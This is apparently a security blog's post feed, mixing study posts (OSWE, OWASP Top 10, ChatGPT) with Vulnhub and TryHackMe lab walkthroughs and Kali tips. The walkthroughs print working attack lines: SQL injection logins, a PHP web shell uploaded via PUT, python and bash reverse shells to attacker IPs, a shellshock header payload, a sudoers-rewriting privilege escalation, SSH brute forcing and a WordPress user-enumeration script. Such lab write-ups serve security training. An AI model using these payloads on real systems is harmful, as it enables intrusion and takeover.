Web application vulnerabilities: Familiarity with common web application vulnerabilities, such as cross-site scripting (XSS), SQL injection, and cross-site request forgery (CSRF), and how to exploit and mitigate them.
Web application testing: Knowledge of the various tools and techniques used to test and assess the security of web applications, such as manual testing, automated testing, and penetration testing.
Web application frameworks: Experience with common web application frameworks, such as Ruby on Rails and Django, and understanding how they work and how they can impact the security of an application.
Networking: Basic understanding of networking concepts, such as IP addresses, ports, protocols, and network architecture.
Linux: Familiarity with the Linux operating system, including the command line, file system, and basic system administration tasks.

In addition to these technical skills, it is also important to have strong problem-solving and critical thinking skills, as well as the ability to communicate effectively and work well in a team.

Obtaining the OSWE certification typically requires a combination of hands-on experience, self-study, and formal training. There are various resources available to help you prepare for the exam, such as online courses, practice exams, and study guides.

How to learn Static Code Analysis, Also called White Box Testing.

noreply@blogger.com (574r570rm) — Wed, 11 Jan 2023 16:00:00 +0000

Static code analysis is the process of analyzing code for potential issues or vulnerabilities without actually executing it. It is a valuable technique for identifying issues early in the development process, as it can help identify problems before they become more costly or difficult to fix.

Here are some steps you can follow to learn static code analysis:

Familiarize yourself with the basics: It is important to understand the principles and concepts of static code analysis before diving into specific tools and techniques. This may include understanding the types of issues that static code analysis can identify, such as security vulnerabilities, performance issues, and coding standards violations.
Choose a static code analysis tool: There are many different static code analysis tools available, each with its own features and capabilities. Some popular options include SonarQube, Fortify, and Checkmarx. Consider your specific needs and the languages and frameworks you will be working with when choosing a tool.
Learn the tool's features and capabilities: Once you have chosen a static code analysis tool, take the time to learn how to use it effectively. This may include learning how to configure the tool, how to run analyses, and how to interpret the results.
Practice with sample code: To get a better understanding of how static code analysis works, try running analyses on sample code or on your own code. This will help you get a feel for the types of issues the tool can identify and how to interpret the results.
Continue learning and improving: Static code analysis is a continuous process, and it is important to stay up to date with new tools, techniques, and best practices. Consider joining online communities or taking online courses to continue learning and improving your skills.

By following these steps, you can learn static code analysis and begin using it to identify and fix issues in your code. It is a valuable technique that can improve the quality and security of your code and help you catch issues early in the development process.

Notable OWASP TOP 10 for Web Applications.

noreply@blogger.com (574r570rm) — Tue, 10 Jan 2023 16:00:00 +0000

OWASP, or the Open Web Application Security Project, is a non-profit organization that aims to improve the security of software and the web. One of their most well-known initiatives is the OWASP Top 10, a list of the most common and most critical web application security risks. The OWASP Top 10 is regularly updated to reflect the current state of the threat landscape and to provide guidance on how to address these risks.

Here is an overview of the OWASP Top 10 for web applications:

Injection: This occurs when an attacker is able to send malicious code to a web application, which is then executed by the application or the underlying database. Examples include SQL injection, where malicious SQL code is injected into a database query, and cross-site scripting (XSS), where malicious JavaScript code is injected into a web page.
Broken authentication and session management: This risk occurs when an attacker is able to gain unauthorized access to a user's account or to manipulate the session data of a user. This can be due to weak passwords, lack of proper authentication controls, or vulnerabilities in the session management system.
Cross-site request forgery (CSRF): This type of attack involves tricking a user into making an unintended request to a web application, such as changing their password or transferring money. It can occur when a user is logged into a vulnerable web application and visits a malicious website.
Insecure direct object references: This risk occurs when an attacker is able to access an object, such as a file or database record, directly by manipulating the reference to it. This can occur if an application does not properly check permissions or if it exposes object references in the URL.
Security misconfiguration: This risk occurs when a web application is not properly configured and secured, making it vulnerable to attacks. Examples include leaving default accounts or directories open, using weak passwords, or failing to update the application with security patches.
Sensitive data exposure: This risk occurs when sensitive data, such as passwords or financial information, is not properly protected or encrypted. This can occur due to weak encryption algorithms, lack of proper transport layer protection, or lack of proper data handling practices.
Cross-origin resource sharing (CORS) misconfiguration: This risk occurs when a web application allows cross-origin requests that should not be allowed. This can allow attackers to access sensitive data or to perform actions on behalf of the user.
Failure to restrict URL access: This risk occurs when an application does not properly restrict access to sensitive URLs or functions. This can allow an attacker to access or manipulate sensitive data or functions.
Using components with known vulnerabilities: This risk occurs when a web application uses third-party components, such as libraries or frameworks, that have known vulnerabilities. These vulnerabilities can then be exploited by attackers.
Insufficient logging and monitoring: This risk occurs when an application does not properly log and monitor activity, making it difficult to detect and respond to attacks.

It is important for organizations to regularly assess their web applications for these risks and to implement appropriate controls to mitigate them. This can include activities such as performing regular security testing, implementing secure coding practices, and properly configuring and maintaining the application and its components. By addressing these risks, organizations can improve the security of their web applications and protect their users and data from potential attacks.

The Renowned , Famed CHATGPT. How it can help different IT professionals.

noreply@blogger.com (574r570rm) — Mon, 09 Jan 2023 17:27:00 +0000

ChatGPT is a variant of the popular language generation model GPT-3 (short for "Generative Pre-training Transformer 3"), developed by OpenAI. It is designed to be able to engage in conversations with humans in a natural and intuitive way, using language processing and machine learning techniques.

One of the main benefits of ChatGPT is its ability to understand and respond to a wide range of topics and prompts. This makes it useful for various IT careers where clear and effective

communication is crucial. For example, a software developer may use ChatGPT to help document their code or create technical guides and tutorials. A customer support representative could use it to answer common questions and troubleshoot issues more efficiently. A project manager could use it to facilitate team communication and keep track of project progress.

In addition to its language processing capabilities, ChatGPT also has access to a vast amount of knowledge on various subjects, thanks to its training on a large dataset of text from the internet. This makes it a valuable resource for research and information gathering, as it can quickly provide relevant and accurate information on a wide range of topics.

One potential application of ChatGPT in IT careers is in the field of natural language processing (NLP). NLP is a subfield of artificial intelligence that focuses on enabling computers to understand, interpret, and generate human language. ChatGPT, with its advanced language processing capabilities, could be used to build NLP applications such as chatbots or language translation systems.

Another use case for ChatGPT in IT is in the development of virtual assistants. Virtual assistants are software programs that can perform tasks and answer questions for users, often through voice or text interactions. ChatGPT could be used to create more advanced and human-like virtual assistants, capable of carrying on more natural and intuitive conversations with users.

Overall, ChatGPT has the potential to greatly improve communication and productivity in various IT careers. Its ability to understand and generate natural language, as well as its access to a vast amount of knowledge, make it a valuable resource for tasks such as research, documentation, customer support, and project management. Its potential applications in NLP and virtual assistants also make it an exciting development in the field of artificial intelligence.

printer hacking 101 walkthrough ( tryhackme.com )

noreply@blogger.com (574r570rm) — Tue, 08 Dec 2020 10:55:00 +0000

WALKTHROUGH (spoiler) OF PRINTER HACKING 101 by swafox in Try Hack Me (tryhackme.com)

Unit 1 introduction

In This section the creator of the room shared some quick info about the famous Pewdiepie hacking. Where the hacker hacked about 50,000 printers and printed a page asking for subscribing to pewdiepie youtube channel 😊

Unit 2 ipp port

The cause of pewdiepie hacking was the open IPP port.

An open IPP port can expose a lot of sensitive information such as printer name, location, model, firmware version, or even printer wifi SSID.

What port does IPP run on?

631

Unit 3# Targeting and exploitation

In this section we have the deploy button to Deploy the machine

A handy tool for printer exploitation is shared.

Github: https://github.com/RUB-NDS/PRET

The Printer Exploitation Toolkit is a handy tool that is used for both local targeting and exploitation.

There are exactly three options you need to try when exploiting a printer using PRET:

1. ps (Postscript)

2. pjl (Printer Job Language)

3. pcl (Printer Command Language)

You need to try out all three languages just to see which one is going to be understood by the printer.

A nice cheat sheet: hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet

How would a simple printer TCP DoS attack look as a one-line command?

while true; do nc printer 9100; done

Review the cheat sheet provided in the task reading above. What attack are printers often vulnerable to which involves sending more and more information until a pre-allocated buffer size is surpassed?

Buffer Overflow

Now we need to get access of the system and use the printer.

We will brute force the ssh for password. The username (printer) is given in the local tunneling command.

Hydra -l printer -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh

Once we have the password we will do a local tunneling to access the cups server on port 631 on our local port 3631, for this the following command will be used.

ssh printer@MACHINE_IP -T -L 3631:localhost:631

After the local tunnel is created. We will connect to the cups server on vulnerable machine by browsing localhost:3631

Going to the Printers section, we will find the Fox_Printer and it will give us the answer to the location of the printer.

Connect to the printer per the instructions above. Where's the Fox_Printer located?

Skidy's basement

In order to find the size of the test page, go to the Fox_printer, and print a test page, then goto Jobs section , the test page file size will be mentioned.

What is the size of a test sheet?

vulnhub machine SKYTOWER walkthrough

noreply@blogger.com (574r570rm) — Thu, 08 Aug 2019 18:51:00 +0000

Vulnhub Machine SkyTower Walkthrough OSCP friendly/ No Metasploit

Nmap:

# Nmap 7.70 scan initiated Thu Aug 8 02:55:03 2019 as: nmap -sC -sV -p- -oN nmap 192.168.8.183

Nmap scan report for SkyTower (192.168.8.183)

Host is up (0.0019s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

22/tcp filtered ssh

80/tcp open http Apache httpd 2.2.22 ((Debian))

|_http-server-header: Apache/2.2.22 (Debian)

|_http-title: Site doesn't have a title (text/html).

3128/tcp open http-proxy Squid http proxy 3.1.20

| http-open-proxy: Potentially OPEN proxy.

|_Methods supported: GET HEAD

|_http-server-header: squid/3.1.20

|_http-title: ERROR: The requested URL could not be retrieved

MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Thu Aug 8 02:55:57 2019 -- 1 IP address (1 host up) scanned in 54.69 seconds

We have SSH filtered and a Squid HTTP proxy on port 3128, most probably the SSH is behind proxy, lets check it later. First the WebServer.

We have login page, so lets try common creds and sqli.

On Trying sqli the server give us an error but also telling us some characters are filtered. Trying multiple characters , the string test’ || 1=1# worked. So user test@test and password test’ || 1=1# .

We got login credentials for user john, lets try to use it in ssh.

First of all we need to access ssh through proxy, there are two ways,

One is by using proxytunnel

proxytunnel -p 192.168.8.183:3128 -d 192.168.8.183:22 -a 1234

Second it by proxychains, by adding the below give in /etc/proxychains.conf

http 192.168.8.183 3128

and

proxychains ssh john@192.168.8.183

Our session got termed as soon as it was connected.

proxychains ssh john@192.168.8.183 /bin/bash

This give us a new bash shell upon connection, first thing to do

Rm .bashrc

So that condition of immediate termination is removed.

Goto /var/www and there are mysql database credentials as root:root.

We can find this out by downloading LinEnum.sh script via wget and execute it.

Mysql -u root -proot

In Mysql

show databases;

use SkyTech;

show tables;

mysql> select * from login;

+----+---------------------+--------------+

| id | email | password |

+----+---------------------+--------------+

| 1 | john@skytech.com | hereisjohn |

| 2 | sara@skytech.com | ihatethisjob |

| 3 | william@skytech.com | senseable |

+----+---------------------+--------------+

3 rows in set (0.01 sec)

Lets login as sara.

proxychains ssh sara@192.168.8.183 /bin/bash

ProxyChains-3.1 (http://proxychains.sf.net)

|S-chain|-<>-192.168.8.183:3128-<><>-192.168.8.183:22-<><>-OK

sara@192.168.8.183's password:

uid=1001(sara) gid=1001(sara) groups=1001(sara)

We checked sara’s privileges by sudo -l

Matching Defaults entries for sara on this host:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:

(root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

So we can use sudo only for /bin/cat and /accounts/*

sudo /bin/ls /accounts/../root

flag.txt

sudo /bin/cat /accounts/../root/flag.txt

Congratz, have a cold one to celebrate!

root password is theskytower

We have root credentials as root:theskytower.

574r570rm

SICK OS v1.2 Walkthrough

noreply@blogger.com (574r570rm) — Wed, 07 Aug 2019 11:16:00 +0000

Vulnhub machine SICK OS 1.2 Walkthrough (OSCP friendly and no Metasploit)

We start with nmap and found only 2 ports open SSH and HTTP.

# Nmap 7.70 scan initiated Sat Aug 3 20:02:23 2019 as: nmap -sC -sV -p- -oN nmap 192.168.78.144

Nmap scan report for 192.168.78.144

Host is up (0.0015s latency).

Not shown: 65533 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 66:8c:c0:f2:85:7c:6c:c0:f6:ab:7d:48:04:81:c2:d4 (DSA)

| 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)

|_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)

80/tcp open http lighttpd 1.4.28

|_http-server-header: lighttpd/1.4.28

|_http-title: Site doesn't have a title (text/html).

MAC Address: 00:0C:29:CD:1F:EC (VMware)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sat Aug 3 20:04:24 2019 -- 1 IP address (1 host up) scanned in 120.72 seconds

Do Enumeration of both services;

SSH is OpenSSH 5.9p1 , look for an exploit for it, there is no exploit found for this specific version.

Check HTTP service, with nikto , dirb and every tool you can think of until you find some lead.

-----------------

DIRB v2.22

By The Dark Raver

-----------------

OUTPUT_FILE: dirb

START_TIME: Tue Aug 6 14:04:42 2019

URL_BASE: http://192.168.78.144/

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.78.144/ ----

+ http://192.168.78.144/index.php (CODE:200|SIZE:163)

==> DIRECTORY: http://192.168.78.144/test/

---- Entering directory: http://192.168.78.144/test/ ----

(!) WARNING: Directory IS LISTABLE. No need to scan it.

(Use mode '-w' if you want to scan it anyway)

-----------------

END_TIME: Tue Aug 6 14:04:51 2019

DOWNLOADED: 4612 - FOUND: 1

Dirb give us /test

From here we are kind of lost, lets find out more about WebServer.

Checking http methods with nse script.

nmap --script http-methods 192.168.78.144

Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-07 06:29 EDT

Nmap scan report for 192.168.78.144

Host is up (0.0013s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

| http-methods:

|_ Supported Methods: GET HEAD POST OPTIONS

MAC Address: 00:0C:29:CD:1F:EC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 18.51 seconds

Further checking the OPTIONS Method.

root@kali:~/vulnhub/sickos2# curl -X OPTIONS -v 192.168.78.144/test

* Trying 192.168.78.144...

* TCP_NODELAY set

* Connected to 192.168.78.144 (192.168.78.144) port 80 (#0)

> OPTIONS /test HTTP/1.1

> Host: 192.168.78.144

> User-Agent: curl/7.60.0

> Accept: */*

< HTTP/1.1 301 Moved Permanently

< DAV: 1,2

< MS-Author-Via: DAV

< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

< Location: http://192.168.78.144/test/

< Content-Length: 0

< Date: Wed, 07 Aug 2019 10:30:53 GMT

< Server: lighttpd/1.4.28

* Connection #0 to host 192.168.78.144 left intact

We have PUT method possible , lets try it.

Curl -v -X PUT -d ‘<?php echo system($_GET[“cmd”]); ?>’ http://192.168.78.144/test/star.php

We will use post command to upload or create a file if the PUT method didn’t work.

Upon checking the /test URL we found our new page star.php. Lets get a shell.

Using multiple methods of reverse shell one by one. I found the python reverse shell working on port 8080. It failed on some ports seems only a few are allowed, I checked the ports by making a webserver on my machine and trying to access it by wget from the target, just to know if that port is open for communication.

http://192.168.78.144/test/star.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.78.135%22,8080));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

We Got a shell of user ‘www-data’ with this command.

Looking for privilege escalation, tried multiple kernel exploits for 3.11 kernel but none worked.

Upon using a privilege escalation checker scripts, i found a cron job running chkrootkit as root. There is an local priv esc exploit for chkrootkit for version 0.49. We can check the version by typing command :

Chkrootkit -V

The version of chkrootkit is 0.49 in target. One more condition of this exploit is that the /tmp should be noexec and the priv esc script told us this already. So , the system is meeting all conditions, lets use the exploit.

exploits/linux/local/33899.txt

As per the exploit we need to create a file named ‘update’ in /tmp. Put our malicious code in it , make it executable and wait for the cron job to execute it.

The code I write in update file is :

echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

What this do is, since this will be run as root, so change the permission of sudoers file , then make the www-data user able to run all sudo commands, and then change the sudoers file back to the permissions it had.

www-data@ubuntu:/etc$ sudo -l

Matching Defaults entries for www-data on this host:

env_reset,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on this host:

(root) NOPASSWD: ALL

www-data@ubuntu:/etc$ sudo su

root@ubuntu:/etc# id

uid=0(root) gid=0(root) groups=0(root)

root@ubuntu:/etc# whoami;hostname

root

ubuntu

After a while I checked the sudo permissions and our code was executed and we had all the sudo permissions.

root@ubuntu:/etc# cd /root

root@ubuntu:~# ls

304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz chkrootkit-0.49

7d03aaa2bf93d80040f3f22ec6ad9d5a.txt newRule

root@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.

The newRule file has the details of ports that are blocked by iptables.

root@ubuntu:~# cat newRule

# Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016

*filter

:INPUT DROP [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT DROP [0:0]

-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT

-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT

-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT

-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT

-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT

-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT

-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT

-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT

COMMIT

# Completed on Mon Apr 25 22:48:24 2016

574r570rm

SickOS 1.1 Walkthrough (OSCP friendly)

noreply@blogger.com (574r570rm) — Sat, 03 Aug 2019 22:09:00 +0000

Starting with Nmap

Nmap -sC -sV 192.168.78.143

Interesting thing here is the http-proxy [squid] on port 3128

Tried browsing the port 80 directly first but it didn’t connect.

Now use port 3128 as proxy.

Add http proxy in browser as targetip and port 3128, browse now and we reached the webserver through proxy server.

Run gobuster to find other directories, from now on whatever we do , we need to route our request through the proxy.

Therefore, we will pass the request through proxy server for this we will use the proxy option in gobuster.

( -p http://targetip:3128 )

It gives us

/wolfcms/

/cgi-bin/

Running nikto using proxy option to enumerate the webserver, and According to nikto the /cgi-bin/status is vulnerable for shellshock

Time to try shellshock POCs on vulnerable url

But first we need to configure burpsuite with http-proxy.

We have a listener proxy in burpsuite and an upstream proxy in User options.

So when a request from browser is sent to burp listener proxy , burpsuite routes it to the upstream proxy and return a response.

We catch a request from the browser and send it to repeater and start experimenting.

Google shellshock POCs for multiple POCs to try.

With experimenting multiple pocs, it looks like we can send a request but not getting a reply to display.

No problem, make the server respond to our netcat listener with a shell

Below is the brupsuite request.

GET http://192.168.78.143/cgi-bin/status HTTP/1.1

Host: 192.168.78.143

User-Agent: () {;};/bin/bash -i >& /dev/tcp/192.168.78.135/1337 0>&1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=btque55clqhdba6ktrgm9tgnn3

Connection: close

Upgrade-Insecure-Requests: 1

Above mentioned request give us a shell of www user.

We changed directory to the webserver and reached the wolfcms application directory.

There must be mysql credentials somewhere.

Found config.php and inside the config file we got our creds.

Mysql is disabled on www user. Lets see /etc/passwd for the users on this system.

We have root and sickos with bash shell.

Lets try this password on sickos with the ssh connection.

Excellent.

Starting now with basic privilege escalation to see the sudoers file.

We are allowed to run all sudo commands. OK so sudo su and we are root.

574r570rm

Kioptrix Level 4 Walkthrough (OSCP friendly)

noreply@blogger.com (574r570rm) — Tue, 30 Jul 2019 18:44:00 +0000

Kioptrix level 4 walkthrough. (OSCP Friendly)

Starting with Enumeration and finding low hanging fruits , but since its level 4 it is expected to not have a quick root exploit.

So Nmap tells us the following info, I am not going to write the basic nmap commands go with default scripts , enumerate versions , top port scan , udp scan, in case you couldn’t find any service in top ports scan go with full port scan (-p-).

Services-

22 SSH-

OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)

No exploit for this version using searchsploit.

80 Web Server

Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)

No specific exploit for 2.2.8 with searchsploit

139,445 Samba-

Samba smbd 3.0.28a (workgroup: WORKGROUP)

There is a null session but No drives listing accessible

Enum4linux gives us the users: loneferret , john , Robert , root

Browsing the WebServer, gives us a login page. Tried SQL Injection commands. With username john from the smb enum.

Password = ‘or ‘1’ = ‘1 ( WORKED)

We got creds to login via ssh.

John:MyNameIsJohn

Lets login

We have a restricted shell, help command give us the allowed commands, we need to find a way to get out of this jail with the limited tools we have in this jail.

Using,

Echo os.system(‘/bin/bash’)

Bring us out of the jail, we have a full bash shell now.

Enumerating now for Priviledge escalation.

We have python,netcat,wget on this machine.

We don’t have gcc installed, means we can’t compile an exploit here.,

I tried wget from attacker machine it doesn’t work, seems something is blocking it, tried port 80,1337,4444. None worked, lets get back to it later.

While checking processes running as root with command

Ps aux|grep root

I found mysql running as root.

In Home folder there is a file called checklogin.php with database credentials.

$host="localhost"; // Host name

$username="root"; // Mysql username

$password=""; // Mysql password

$db_name="members"; // Database name

$tbl_name="members"; // Table name

Lets login into mysql

Mysql -h localhost -u root -p

We are in…

Show databases;

Select * from members;

We got another user account info. The password can be in straight text or base64 encoding, I didn’t try.

Now we need to google how to run system commands from mysql as functions.

So, in order to run system commands from mysql we need sys_exec function and for that we need a library “lib_mysqludf_sys.so”

Select * from mysql.func;

Will tell us whether we have that library file.

Time to do the magic.

Select sys_exec(‘usermod -a -G admin john’);

We are adding the user john to admin group. Once Done, user john can change user to root. By sudo su.

Rooted!!!

During the process I was trying to transfer files but it was not getting transferred. Looking at the iptables rules, we figured out the ports blocked by firewall rules.

Using a port not in the iptables list, allowed us to transfer files.

574r570rm

Kioptrix 3 Walkthrough (OSCP friendly)

noreply@blogger.com (574r570rm) — Mon, 29 Jul 2019 00:45:00 +0000

Kioptrix level 3 Walkthrough OSCP friendly.

Lets start the VM, the welcome screen has initial useful info.

We need to update the /etc/hosts file with the ip of the VM and kioptrix3.com.

Operating System is Ubuntu 8.04.3.

Nmap show us Multiple ports and services open.

Lets quickly check ssh and webserver for low hanging fruits.

Upon Enumeration of ssh, no exploits was found for OpenSSH 4.7p1.

Checking web server, no exploits were found for Apache 2.2.8.

Browsing through kioptrix3.com , we found some useful information. The gallery app and username.

Lets check both of these further.

Since we have the username now , lets do a bruteforcing attack on ssh in the background.

Using medusa for brute forcing ssh, reason its reliable for ssh bruteforce.

medusa -h 192.168.78.141 -u loneferret -P /usr/share/wordlists/fasttrack.txt -M ssh

In Web application the login page URL seems suspicious, looks like it is using the page name as argument.

http://kioptrix3.com/index.php?system=Admin

Upon checking it for LFI, I managed to exploit the LFI.

The /etc/passwd file also confirmed the username loneferret.

Let’s check again on our brute force progress.

Excellent, Medusa found the password for user loneferret.

Lets login via SSH.

I used multiple scripts to check for priv esc hint but couldn’t find any useful thing. So I went to the user’s home folder and here we had 2 files, one of them is company's profile.

Upon using sudo ht I faced an error of no xterm-256 color , something like that. Google told me how to fix it.

Export TERM=xterm

And now we can run sudo ht.

Eventually ht is an application run as root, so whatever you do in ht app, it will be done as root.

Lets give ourself permission to login as root , obviously 😊

But there is one !/usr/bin/su already added. Lets check sudo su

So we had to have /bin/su in sudoers file in order to use it. Do that and BINGO!!!

ROOT DANCE!!

574r570rm

Kioptrix level 2 Walkthrough

noreply@blogger.com (574r570rm) — Sat, 27 Jul 2019 23:10:00 +0000

Kioptrix is a series of vulnhub machines. Below is the walkthrough of the second machine of this series. The walkthrough is oscp friendly.

Kioptrix level 2

Lets Start with Nmap

Command used : nmap -sC -sV 192.168.78.140

We’ve got a number of ports open.

I started with openssh 3.9p1, searched for an exploit on exploit-db but couldn’t found a version specific.

Moving on to port 80 ,The WebServer. We are greeted by the following screen.

A login page, lets do a bruteforce on it in the background and try basic sql injection on the authorization system.

Upon giving username as test and Password as test’or 1=1#-- -

We got in.

What do we have here… a program to run ping command. But ping command is a system command. Lets try if it can run multiple system commands with ;

YES , we execute the following commands for system enumeration for a shell.

Whoami;hostname;cat /etc/passwd

Which nc

Which python

The results told us there is no netcat on the machine, but we have bash and python on the machine. We can use both to get a shell.

Let’s consult the pentest monkey reverse shell guide.

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

what should we do when there is no netcat, use bash.

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

listen for the incoming shell on attacker machine and we popped a shell.

Time for Privilege escalation journey.

I searched for kernel exploits, tried a few but it failed, because requirements of the exploits were not met.

Then I searched for CENTOS 4.5 and found 2 exploits for priv esc, exactly what we need.

Using the first one.

Searchsploit -m exploits/linux_x86/local/9542.c

Download it on attacker machine, transfer it to the victim machine… wget is there to help us.

Compile the exploit on target machine since we have GCC compiler installed there.

gcc 9542.c -o 9542

Give executable permissions to the compiled binary.

chmod +x 9542

and Execute it.

./9542

BINGO!!!

We are root

574r570rm

how to play CS:GO multiplayer in Lan

noreply@blogger.com (574r570rm) — Wed, 06 Feb 2019 14:31:00 +0000

I found some new friends last month and we started playing CS 1.6 (Counter Strike) , i know its an old game with poor graphics but still the physics of CS 1.6 is one of the best for multiplayers and its fast and light computer game.
After playing for while we feel the need to move to a better graphics game, so we installed CS:GO (Counter Strike : Global Offensive).

I spend some time to understand how to play multiplayer on LAN, since the game doesn't have GUI options for multiplayer. So here are the steps how to do it.

We will have configuration for a server and a client.

For Server,

Start the game as play with bots.

Once the game is started , hit ( ` ) key (it lies below the escape key on keyboard). This will open the console.

write bot_kick , this will remove all the bots from the game, so your friends can join in otherwise the bots will fill all the max number of players allowed.

Once bots are kicked, write status in console, this will display the multiplayer status of the game including ip info and many other information.
In my case, i was connected to a wifi router, so it was showing me the router ip 192.168.1.1 but i wont use this ip for connection (this is the tricky part).

I have created a hotspot on my system and told my friends to connect to my hotspot.

When i write ipconfig in cmd (command prompt) it gives me the ip of my hotspot lan as well, e.g. it was 192.168.100.1 (keep this ip with you, your friends will use this ip for connection).

Come back to the game, in console write sv_lan 0 , it means we are turning off the lan option in game because game is considering 192.168.1.1 as lan connection.

Now goto your friends system, start CS:GO and open console. Write connect 192.168.100.1:27015 , your friend is now connecting to the server with the hotspot ip address and CS:GO port 27015.

On your server system wait for your friend to appear in the game and get connected, once they are connected unleash the bots, if you want, by typing bot_quota 10 , 10 is the number of bots allowed in the game.

Enjoy!

Note: Italicized text are the commands that needs to be typed.

~~574r570rm~~

Decode Base64 and ROT13 in Linux Terminal

noreply@blogger.com (574r570rm) — Sat, 26 Jan 2019 06:53:00 +0000

Below are the commands , to Decode and Encoded text from Base64 and Rot13.

It is a handy and easy technique required in CTFs. Alternatively we can also google and use any website offering decoding of text from these two types. But in terminal we can decode it quickly and save our precious time.

From Base64 we use the function base64 and option -d (for decode).

$ base64 -d data.txt

From ROT13 (also called as rotated 13 times) we use the function tr (for translation). the text must be echo first and piped into tr with two strings as arguments.

$ echo " GUR CNFFJBEQ VF 5GR8L4QETPESPK8HTQJHRK8XSP6X2RHH" |tr '[A-Za-z]' '[N-ZA-Mn-za-m]'

-574r570rm

Wordpress Username Enumeration

noreply@blogger.com (574r570rm) — Sat, 12 Jan 2019 16:00:00 +0000

In Wordpress we can do a username enumeration in several ways. We can do it via Metasploit or Nmap NSE Script. But if both of these are not available or we want to use another simpler method, here is one mentioned below.

A Bash Script to enumerate Wordpress usernames.

Copy the below Bash code text into a .sh file.
Change the website to URL to your desired URL.
Change the range of user ids default is 1 to 20.
Then chmod the file to make it executable ( chmod +x filename.sh)(in linux terminal)
and run ./filename.sh.

BASH Code:

for i in {1..20}; do curl -s -L -i http://www.your-desired-website/?author=$i | grep -E -o "\" title=\"View all posts by [a-z0-9A-Z\-\.]*|Location:.*" | sed 's/\// /g' | cut -f 6 -d ' ' | grep -v "^$"; done

~~CYB3RTR0N , 574r570rm~~

Creating a Keyboard shortcut to Terminal

noreply@blogger.com (574r570rm) — Sun, 29 Jul 2018 18:44:00 +0000

In Kali linux , the keyboard shortcut to Terminal is missing by default, that was a convenience that pentesters miss the most. We had this available by default in backtrack.

One way to open terminal with keyboard is to press Alt + F2 , a command window will open , and write " gnome-terminal " and press Enter.

Second way is to create a keyboard shortcut permanently to the terminal.

For this, we will goto Settings > Devices > Keyboard.

In the shortcuts section, scroll down to the end of the list , we will find a " + " sign, that is for adding a new shortcut.

We have three text boxes here to fill.

1- Name : Enter the Name for the Shortcut e.g. "Terminal".

2- Command :Enter the command for the program. In our case its terminal. The command for terminal is " gnome-terminal".

3- Shortcut : press the buttons you want to use as a keyboard shortcut for the above command. Here it can be "Ctrl+T" or " Super+T" or you can add any shortcut as per your convenience. and click add.

Thats it, now you can open terminal any time by using the keyboard shortcut.

CYB3RTR0N , 574r570rm

VLC Player not working or opening in Kali 2.0

noreply@blogger.com (574r570rm) — Wed, 04 Apr 2018 16:14:00 +0000

Hello Kali fans,

I installed the famous vlc player on my kali 2.0 but unfortunately it was not executing properly and was not opening at all.

So, here is a fix for that if you find yourself in the same situation.

open terminal window and type hexeditor /usr/bin/vlc

It will open a hexeditor of vlc file, be careful not to change anything here that you don't know of, because it can make vlc crash completely.

Press ctrl+w to open the search dialog box,

Press enter for the option, to search for a string

Type geteuid in the search bar and press enter.

Press tab and the cursor is now on the g of geteuid,

Start writing getppid,as it will overwrite the text, make sure to not press any other key. Dont worry if you can't see what you are writing, just make sure when you type g it is overwritten on the already written g of geteuid.

Press ctrl+x to save and exit.

Open VLC player it will work now.

CYB3RTR0N , 574r570rm